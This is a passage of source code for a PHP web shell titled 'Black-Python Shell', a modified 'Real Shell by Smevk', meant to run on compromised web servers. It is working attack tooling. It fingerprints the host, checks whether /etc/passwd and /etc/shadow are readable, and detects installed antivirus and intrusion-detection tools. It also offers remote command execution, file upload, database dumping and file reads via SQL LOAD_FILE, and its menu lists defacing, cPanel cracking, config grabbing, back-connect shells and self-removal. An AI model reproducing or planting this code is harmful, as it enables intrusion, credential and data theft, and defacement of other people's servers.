  246. input, textarea, select { margin-top:0;color:#ffffd1;background-color:black;border-radius:5px;border:1px solid '.$Theme.'; border-radis:5px;font: 10pt arial,"Courier New"; }
  247. input[type="button"]:hover,input[type="submit"]:hover {background-color:#ffffd1;color:black;text-decoration:none;}
  248. form { margin:0px; background:#0F1010;}
  249. #toolsTbl { text-align:center; }
  250. .toolsInp { width: 80%; background:black; border-radius:5px; border-color:'.$Theme.'; }
  251. .main th {text-align:left;background-color:'.$TabsColor.';}
  252. .main tr:hover{background:#000000; border:5px solid;border-color:#000000;}
  253. .main td, th{vertical-align:middle;}
  254. .menu { height:30px; border-radius:10px;}
  255. .menu th{padding:1px;border-radius: 5px; background:'.$TabsColor.'; -webkit-transform: rotate(20deg);
  256. -moz-transform: rotate(20deg);
  257. -o-transform: rotate(20deg);
  258. -ms-transform: rotate(20deg);
  259. transform: rotate(20deg);}
  260. .menu th:hover{background:#0F1010;text-decoration: none;}
  261. pre {font-family: Josefin Sans, sans-serif;color:#FFFFFF;}
  262. #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
  263.  
  264.  
  265. .cpr {margin-bottom:5px;font-weight:bold; }
  266. .cpb {width:34px;margin:0 5px;}
  267.  
  268. .npoad td {padding:0;}
  269. #Smevktools{
  270. margin-top:50px;
  271. width:500px;
  272. border:1px solid;
  273. border-radius:10px;
  274. }
  275. .smevklogo td{
  276. font-size:12px;
  277. font-weight:bold;
  278.  
  279.  
  280.  
  281. }
  282. .smevklogo{
  283. margin-left:5px;
  284. background:url();
  285. background-repeat: no-repeat;
  286. background-position: CENTER;
  287. background-color:#0F1010;
  288. background-size: 400px 120px;
  289.  
  290.  
  291.  
  292. }
  293. </style>
  294.  
  295. </html>
  296. <style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-9/cur849.ani), url(http://cur.cursors-4u.net/cursors/cur-9/cur849.png), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2011/11/22/night-diamond-bloody-red-diagonal-resize-2.html" target="_blank" title="Night Diamond Bloody Red - Diagonal Resize 2"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Night Diamond Bloody Red - Diagonal Resize 2" style="position:absolute; top: 0px; right: 0px;" /></a>
  297. <script>
  298. function set(a,c,p1,p2,p3,charset) {
  299. if(a != null)document.mf.a.value=a;
  300. if(c != null)document.mf.c.value=c;
  301. if(p1 != null)document.mf.p1.value=p1;
  302. if(p2 != null)document.mf.p2.value=p2;
  303. if(p3 != null)document.mf.p3.value=p3;
  304. if(charset != null)document.mf.charset.value=charset;
  305. }
  306. function g(a,c,p1,p2,p3,charset) {
  307. set(a,c,p1,p2,p3,charset);
  308. document.mf.submit();
  309. }
  310. function a(a,c,p1,p2,p3,charset) {
  311. set(a,c,p1,p2,p3,charset);
  312. var params = "ajax=true";
  313. for(i=0;i<document.mf.elements.length;i++)
  314. params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
  315. sr("'.$_SERVER['REQUEST_URI'].'", params);
  316. }
  317. function sr(url, params) {
  318. if (window.XMLHttpRequest) {
  319. req = new XMLHttpRequest();
  320. req.onreadystatechange = processReqChange;
  321. req.open("POST", url, true);
  322. req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
  323. req.send(params);
  324. }
  325. else if (window.ActiveXObject) {
  326. req = new ActiveXObject("Microsoft.XMLHTTP");
  327. if (req) {
  328. req.onreadystatechange = processReqChange;
  329. req.open("POST", url, true);
  330. req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
  331. req.send(params);
  332. }
  333. }
  334. }
  335. function processReqChange() {
  336. if( (req.readyState == 4) )
  337. if(req.status == 200) {
  338. //alert(req.responseText);
  339. var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
  340. var arr=reg.exec(req.responseText);
  341. eval(arr[2].substr(0, arr[1]));
  342. }
  343. else alert("Request error!");
  344. }
  345. </script>
  346. <head><link href="https://fonts.googleapis.com/css?family=Audiowide" ></head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:black;"><div class="content" style="border:1px solid '.$Theme.'; border-radius:5px;">
  347. <form method=post name=mf style="display:none;">
  348. <input type=hidden name=a value="'.(isset($_POST['a'])?$_POST['a']:'').'">
  349. <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
  350. <input type=hidden name=p1 value="'.(isset($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'">
  351. <input type=hidden name=p2 value="'.(isset($_POST['p2'])?htmlspecialchars($_POST['p2']):'').'">
  352. <input type=hidden name=p3 value="'.(isset($_POST['p3'])?htmlspecialchars($_POST['p3']):'').'">
  353. <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  354. </form><center><font color="green" size="48"/> Black-<font color="white"/>-Python Shell</font></font></center>';
  355. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  356. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  357. $totalSpace = $totalSpace?$totalSpace:1;
  358. $disable_functions = @ini_get('disable_functions');
  359. $release = @php_uname('r');
  360. $kernel = @php_uname('s');
  361. if(!function_exists('posix_getegid')) {
  362. $user = @get_current_user();
  363. $uid = @getmyuid();
  364. $gid = @getmygid();
  365. $group = "?";
  366. } else {
  367. $uid = @posix_getpwuid(@posix_geteuid());
  368. $gid = @posix_getgrgid(@posix_getegid());
  369. $user = $uid['name'];
  370. $uid = $uid['uid'];
  371. $group = $gid['name'];
  372. $gid = $gid['gid'];
  373. }
  374. $cwd_links = '';
  375. $path = explode("/", $GLOBALS['cwd']);
  376. $n=count($path);
  377. for($i=0;$i<$n-1;$i++) {
  378. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  379. for($j=0;$j<=$i;$j++)
  380. $cwd_links .= $path[$j].'/';
  381. $cwd_links .= "\")'>".$path[$i]."/</a>";
  382. }
  383. $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  384. $opt_charsets = '';
  385. foreach($charsets as $item)
  386. $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  387. $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Sql'=>'Sql','Console'=>'Console','Bypasser'=>'SafeMode','Safe Mode'=>'Bypass','CgiShell'=>'CgiShell','Defacer' => 'Deface','Mini Shell'=>'cleanshell','CP Cracker'=>'cpcrack','Symlink'=>'usescript','Config'=>'configgrab','Zone-h Notifier'=>'usefulla','Backup'=>'Backupper','String tools'=>'StringTools','Shells'=>'ImportScripts','Scripts'=>'ImportTools','Priv8 Tools' => 'Priv8','Back Connecter'=>'BackConnect','Readable Dirs'=>'Readable','Port Scanner'=>'PortScanner','Code Injector'=>'Injector','Dir Deface'=>'DirDefacer','Domains' => 'Domain','Self Remove' => 'SelfRemove');
  388. if(!empty($GLOBALS['auth_pass']))
  389. $m['Leave'] = 'Logout';
  390. $menu = '';
  391. foreach($m as $k => $v)
  392. $menu .= '<th><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
  393. $drives = "";
  394. if ($GLOBALS['os'] == 'win') {
  395. foreach( range('a','z') as $drive ){
  396. if (is_dir($drive.':\\'))
  397. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  398. }
  399. $drives .= '<br />: ';
  400. }
  401. if($GLOBALS['os'] == 'nix') {
  402. $dominios = @file_get_contents("/etc/named.conf");
  403. if(!$dominios) {
  404. $DomainS = "/var/named";
  405. $Domainonserver = scandir($DomainS);
  406. $d0c = count($Domainonserver);
  407. } else {
  408. @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
  409. $out = sizeof(array_unique($out[1]));
  410. $d0c = $out." Domains";
  411. }
  412. } else {
  413. $d0c = "1";
  414. }
  415. if($GLOBALS['os'] == 'nix' )
  416. {
  417. $usefl = ''; $dwnldr = '';
  418. if(!@ini_get('safe_mode')) {
  419. $temp = array();
  420. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  421. foreach($userful as $item) { if(which($item)) $temp[]= $item; }
  422. $usefl = implode(', ',$temp);
  423. $temp = array();
  424. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  425. foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; }
  426. $dwnldr = implode(', ',$temp);
  427. } else {
  428. $usefl = ' ------- '; $dwnldr = ' ------- ';
  429. }
  430. } else {
  431. $usefl = ' ------- '; $dwnldr = ' ------- ';
  432. }
  433. echo '<div class="smevklogo"><table class="info" cellpadding="0" cellspacing="0" width="100%"><tr>
  434. <td><table cellpadding="3" cellspacing="0" class="npoad"><tr><td width="80px;"><span>Uname</span></td><td>: <nobr>'.substr(@php_uname(), 0, 120).'</nobr></td></tr>
  435. <tr><td><span>User</span></td><td>: '.$uid.' ( '.$user.' ) <span>Group: </span> '.$gid.' ( '.$group.' )</td></tr><tr><td><span>Server</span></td><td>: '.@getenv('SERVER_SOFTWARE').'</td></tr><tr><td><span>Useful</span></td><td>: '.$usefl.'</td></tr><tr><td><span>Downloaders</span></td><td>: '.$dwnldr.'</td></tr><tr><td><span>D/functions</span></td><td>: '.($disable_functions?$disable_functions:'All Function Enable').'</td></tr><tr><td><span>'.($GLOBALS['os'] == 'win'?'Drives<br />Cwd':'Cwd').'</span></td><td>: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
  436. '<td width=4><nobr><span>Sv IP</span><br><span>Your IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>'.
  437. '<td><nobr>: '.gethostbyname($_SERVER["HTTP_HOST"]).'<br>: '.$_SERVER['REMOTE_ADDR'].'<br />: '.viewSize($totalSpace).'<br />: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>: '.@phpversion().' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color='.$color.'<b>OFF</b></font>').'<br />: '.$d0c.'</nobr></td></tr></table></div>'.
  438. '</div></div><div style="margin:5;background:black;"><div class="content" style="border-top:5px solid 430303;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>'.$menu.'</tr></table></div></div><div style="margin:5;background:black;">';
  439. }
  440. function printFooter() {
  441. $is_writable = is_writable($GLOBALS['cwd'])?"<font color=".$color.">[ Writeable ]</font>":"<font color=#EB4949>[ Not writable ]</font>";
  442.  
  443. echo '</div><div style="margin:5px;background:black;"><div class="content" style="border:1px solid '.$Theme.'; border-radius:5px;">
  444. <table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
  445. <tr>
  446. <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=submit value=">>"></form></td>
  447. <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
  448. </tr>
  449. <tr>
  450. <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>'.$is_writable.'</td>
  451. <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
  452. </tr>
  453. <tr>
  454. <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
  455. <td><form method="post" ENCTYPE="multipart/form-data">
  456. <input type=hidden name=a value="FilesMAn">
  457. <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
  458. <input type=hidden name=p1 value="uploadFile">
  459. <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  460. <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
  461. </tr>
  462. </table></div></div><div style="margin:5px;background:black;"><div class="content" style="border:2px solid '.$Theme.';text-align:center;font-weight:bold; border-radius:6px;margin:auto; width:1000;"><marquee>Real Shell By Smevik Modified By Black Scorpion</marquee></div></div>
  463. </div></div><br><br>
  464. <div style="margin:5px;background:black;"><div class="content" style="border:2px solid '.$Theme.';text-align:center;font-weight:bold; border-radius:6px;margin:auto; width:500;">Real Shell By Smevk_Pathan <br>Some Changes By Black Scorp</a></div></div>
  465. </div></div>
  466.  
  467. </body></html>';
  468. }
  469.  
  470. if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
  471. if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
  472.  
  473.  
  474. function viewSize($s) {
  475. if($s >= 1073741824)
  476. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  477. elseif($s >= 1048576)
  478. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  479. elseif($s >= 1024)
  480. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  481. else
  482. return $s . ' B';
  483. }
  484.  
  485. function perms($p) {
  486. if (($p & 0xC000) == 0xC000)$i = 's';
  487. elseif (($p & 0xA000) == 0xA000)$i = 'l';
  488. elseif (($p & 0x8000) == 0x8000)$i = '-';
  489. elseif (($p & 0x6000) == 0x6000)$i = 'b';
  490. elseif (($p & 0x4000) == 0x4000)$i = 'd';
  491. elseif (($p & 0x2000) == 0x2000)$i = 'c';
  492. elseif (($p & 0x1000) == 0x1000)$i = 'p';
  493. else $i = 'u';
  494. $i .= (($p & 0x0100) ? 'r' : '-');
  495. $i .= (($p & 0x0080) ? 'w' : '-');
  496. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  497. $i .= (($p & 0x0020) ? 'r' : '-');
  498. $i .= (($p & 0x0010) ? 'w' : '-');
  499. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  500. $i .= (($p & 0x0004) ? 'r' : '-');
  501. $i .= (($p & 0x0002) ? 'w' : '-');
  502. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  503. return $i;
  504. }
  505.  
  506. function viewPermsColor($f) {
  507. if (!@is_readable($f))
  508. return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
  509. elseif (!@is_writable($f))
  510. return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
  511. else
  512. return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
  513. }
  514.  
  515. if(!function_exists("scandir")) {
  516. function scandir($dir) {
  517. $dh = opendir($dir);
  518. while (false !== ($filename = readdir($dh))) {
  519. $files[] = $filename;
  520. }
  521. return $files;
  522. }
  523. }
  524.  
  525. function actionSecInfo() {
  526. printHeader();
  527. echo '<h1>Server security information</h1><div class=content>';
  528. function showSecParam($n, $v) {
  529. $v = trim($v);
  530. if($v) {
  531. echo '<span>'.$n.': </span>';
  532. if(strpos($v, "\n") === false)
  533. echo $v.'<br>';
  534. else
  535. echo '<pre class=ml1>'.$v.'</pre>';
  536. }
  537. }
  538.  
  539. showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  540. showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
  541. showSecParam('Open base dir', @ini_get('open_basedir'));
  542. showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  543. showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  544. showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  545. $temp=array();
  546. if(function_exists('mysql_get_client_info'))
  547. $temp[] = "MySql (".mysql_get_client_info().")";
  548. if(function_exists('mssql_connect'))
  549. $temp[] = "MSSQL";
  550. if(function_exists('pg_connect'))
  551. $temp[] = "PostgreSQL";
  552. if(function_exists('oci_connect'))
  553. $temp[] = "Oracle";
  554. showSecParam('Supported databases', implode(', ', $temp));
  555. echo '<br>';
  556.  
  557. if( $GLOBALS['os'] == 'nix' ) {
  558. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  559. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  560. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  561. showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  562. showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
  563. showSecParam('OS version', @file_get_contents('/proc/version'));
  564. showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  565. if(!$GLOBALS['safe_mode']) {
  566. echo '<br>';
  567. $temp=array();
  568. foreach ($userful as $item)
  569. if(which($item)){$temp[]=$item;}
  570. showSecParam('Userful', implode(', ',$temp));
  571. $temp=array();
  572. foreach ($danger as $item)
  573. if(which($item)){$temp[]=$item;}
  574. showSecParam('Danger', implode(', ',$temp));
  575. $temp=array();
  576. foreach ($downloaders as $item)
  577. if(which($item)){$temp[]=$item;}
  578. showSecParam('Downloaders', implode(', ',$temp));
  579. echo '<br/>';
  580. showSecParam('Hosts', @file_get_contents('/etc/hosts'));
  581. showSecParam('HDD space', ex('df -h'));
  582. showSecParam('Mount options', @file_get_contents('/etc/fstab'));
  583. }
  584. } else {
  585. showSecParam('OS Version',ex('ver'));
  586. showSecParam('Account Settings',ex('net accounts'));
  587. showSecParam('User Accounts',ex('net user'));
  588. }
  589. echo '</div>';
  590. printFooter();
  591. }
  592.  
  593.  
  594. function actionSql() {
  595. class DbClass {
  596. var $type;
  597. var $link;
  598. var $res;
  599. function DbClass($type) {
  600. $this->type = $type;
  601. }
  602. function connect($host, $user, $pass, $dbname){
  603. switch($this->type) {
  604. case 'mysql':
  605. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  606. break;
  607. case 'pgsql':
  608. $host = explode(':', $host);
  609. if(!$host[1]) $host[1]=5432;
  610. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  611. break;
  612. }
  613. return false;
  614. }
  615. function selectdb($db) {
  616. switch($this->type) {
  617. case 'mysql':
  618. if (@mysql_select_db($db))return true;
  619. break;
  620. }
  621. return false;
  622. }
  623. function query($str) {
  624. switch($this->type) {
  625. case 'mysql':
  626. return $this->res = @mysql_query($str);
  627. break;
  628. case 'pgsql':
  629. return $this->res = @pg_query($this->link,$str);
  630. break;
  631. }
  632. return false;
  633. }
  634. function fetch() {
  635. $res = func_num_args()?func_get_arg(0):$this->res;
  636. switch($this->type) {
  637. case 'mysql':
  638. return @mysql_fetch_assoc($res);
  639. break;
  640. case 'pgsql':
  641. return @pg_fetch_assoc($res);
  642. break;
  643. }
  644. return false;
  645. }
  646. function listDbs() {
  647. switch($this->type) {
  648. case 'mysql':
  649. return $this->res = @mysql_list_dbs($this->link);
  650. break;
  651. case 'pgsql':
  652. return $this->res = $this->query("SELECT datname FROM pg_database");
  653. break;
  654. }
  655. return false;
  656. }
  657. function listTables() {
  658. switch($this->type) {
  659. case 'mysql':
  660. return $this->res = $this->query('SHOW TABLES');
  661. break;
  662. case 'pgsql':
  663. return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
  664. break;
  665. }
  666. return false;
  667. }
  668. function error() {
  669. switch($this->type) {
  670. case 'mysql':
  671. return @mysql_error($this->link);
  672. break;
  673. case 'pgsql':
  674. return @pg_last_error($this->link);
  675. break;
  676. }
  677. return false;
  678. }
  679. function setCharset($str) {
  680. switch($this->type) {
  681. case 'mysql':
  682. if(function_exists('mysql_set_charset'))
  683. return @mysql_set_charset($str, $this->link);
  684. else
  685. $this->query('SET CHARSET '.$str);
  686. break;
  687. case 'mysql':
  688. return @pg_set_client_encoding($this->link, $str);
  689. break;
  690. }
  691. return false;
  692. }
  693. function dump($table) {
  694. switch($this->type) {
  695. case 'mysql':
  696. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  697. $create = mysql_fetch_array($res);
  698. echo $create[1].";\n\n";
  699. $this->query('SELECT * FROM `'.$table.'`');
  700. while($item = $this->fetch()) {
  701. $columns = array();
  702. foreach($item as $k=>$v) {
  703. $item[$k] = "'".@mysql_real_escape_string($v)."'";
  704. $columns[] = "`".$k."`";
  705. }
  706. echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  707. }
  708. break;
  709. case 'pgsql':
  710. $this->query('SELECT * FROM '.$table);
  711. while($item = $this->fetch()) {
  712. $columns = array();
  713. foreach($item as $k=>$v) {
  714. $item[$k] = "'".addslashes($v)."'";
  715. $columns[] = $k;
  716. }
  717. echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  718. }
  719. break;
  720. }
  721. return false;
  722. }
  723. };
  724. $db = new DbClass(@$_POST['type']);
  725. if(@$_POST['p2']=='download') {
  726. ob_start("ob_gzhandler", 4096);
  727. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  728. $db->selectdb($_POST['sql_base']);
  729. header("Content-Disposition: attachment; filename=dump.sql");
  730. header("Content-Type: text/plain");
  731. foreach($_POST['tbl'] as $v)
  732. $db->dump($v);
  733. exit;
  734. }
  735. printHeader();
  736. echo '<h1>Sql browser</h1><div class=content>
  737. <form name="sf" method="post">
  738. <table cellpadding="2" cellspacing="0">
  739. <tr>
  740. <td>Type</td>
  741. <td>Host</td>
  742. <td>Login</td>
  743. <td>Password</td>
  744. <td>Database</td>
  745. <td></td>
  746. </tr>
  747. <tr>
  748. <input type=hidden name=a value=Sql>
  749. <input type=hidden name=p1 value=\'query\'>
  750. <input type=hidden name=p2>
  751. <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
  752. <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  753. <td>
  754. <select name=\'type\'>
  755. <option value="mysql" '.(@$_POST['type']=='mysql'?'selected':'').'>MySql</option>
  756. <option value="pgsql" '.(@$_POST['type']=='pgsql'?'selected':'').'>PostgreSql</option>
  757. </select></td>
  758. <td><input type=text name=sql_host value="'.(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])).'"></td>
  759. <td><input type=text name=sql_login value="'.(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])).'"></td>
  760. <td><input type=text name=sql_pass value="'.(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])).'"></td>
  761. <td>';
  762. $tmp = "<input type=text name=sql_base value=''>";
  763. if(isset($_POST['sql_host'])){
  764. if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  765. switch($_POST['charset']) {
  766. case "Windows-1251": $db->setCharset('cp1251'); break;
  767. case "UTF-8": $db->setCharset('utf8'); break;
  768. case "KOI8-R": $db->setCharset('koi8r'); break;
  769. case "KOI8-U": $db->setCharset('koi8u'); break;
  770. case "cp866": $db->setCharset('cp866'); break;
  771. }
  772. $db->listDbs();
  773. echo "<select name=sql_base><option value=''></option>";
  774. while($item = $db->fetch()) {
  775. list($key, $value) = each($item);
  776. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  777. }
  778. echo '</select>';
  779. }
  780. else echo $tmp;
  781. }else
  782. echo $tmp;
  783. echo '</td>
  784. <td><input type=submit value=">>"></td>
  785. </tr>
  786. </table>
  787. <script>
  788. function st(t,l) {
  789. document.sf.p1.value = \'select\';
  790. document.sf.p2.value = t;
  791. if(l!=null)document.sf.p3.value = l;
  792. document.sf.submit();
  793. }
  794. function is() {
  795. for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)
  796. document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
  797. }
  798. </script>';
  799. if(isset($db) && $db->link){
  800. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  801. if(!empty($_POST['sql_base'])){
  802. $db->selectdb($_POST['sql_base']);
  803. echo "<tr><td width=1 style='border-top:1px solid #a3e956;border-right:2px solid #a3e956;'><span>Tables:</span><br><br>";
  804. $tbls_res = $db->listTables();
  805. while($item = $db->fetch($tbls_res)) {
  806. list($key, $value) = each($item);
  807. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  808. $value = htmlspecialchars($value);
  809. echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
  810. }
  811. echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:1px solid #a3e956;'>";
  812. if(@$_POST['p1'] == 'select') {
  813. $_POST['p1'] = 'query';
  814. $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
  815. $num = $db->fetch();
  816. $num = $num['n'];
  817. echo "<span>".$_POST['p2']."</span> ($num) ";
  818. for($i=0;$i<($num/30);$i++)
  819. if($i != (int)$_POST['p3'])
  820. echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
  821. else
  822. echo ($i+1)," ";
  823. if($_POST['type']=='pgsql')
  824. $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  825. else
  826. $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  827. echo "<br><br>";
  828. }
  829. if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
  830. $db->query(@$_POST['p3']);
  831. if($db->res !== false) {
  832. $title = false;
  833. echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
  834. $line = 1;
  835. while($item = $db->fetch()) {
  836. if(!$title) {
  837. echo '<tr>';
  838. foreach($item as $key => $value)
  839. echo '<th>'.$key.'</th>';
  840. reset($item);
  841. $title=true;
  842. echo '</tr><tr>';
  843. $line = 2;
  844. }
  845. echo '<tr class="l'.$line.'">';
  846. $line = $line==1?2:1;
  847. foreach($item as $key => $value) {
  848. if($value == null)
  849. echo '<td><i>null</i></td>';
  850. else
  851. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  852. }
  853. echo '</tr>';
  854. }
  855. echo '</table>';
  856. } else {
  857. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  858. }
  859. }
  860. echo "<br><textarea name='p3' style='background-color:black; color: white;width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
  861. echo "</td></tr>";
  862. }
  863. echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  864. if(@$_POST['p1'] == 'loadfile') {
  865. $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
  866. $file = $db->fetch();
  867. echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  868. }
  869. }
  870. echo '</div>';
  871. printFooter();
  872. }
  873.  
  874.  
  875. function actionBackupper() {
  876. printHeader();
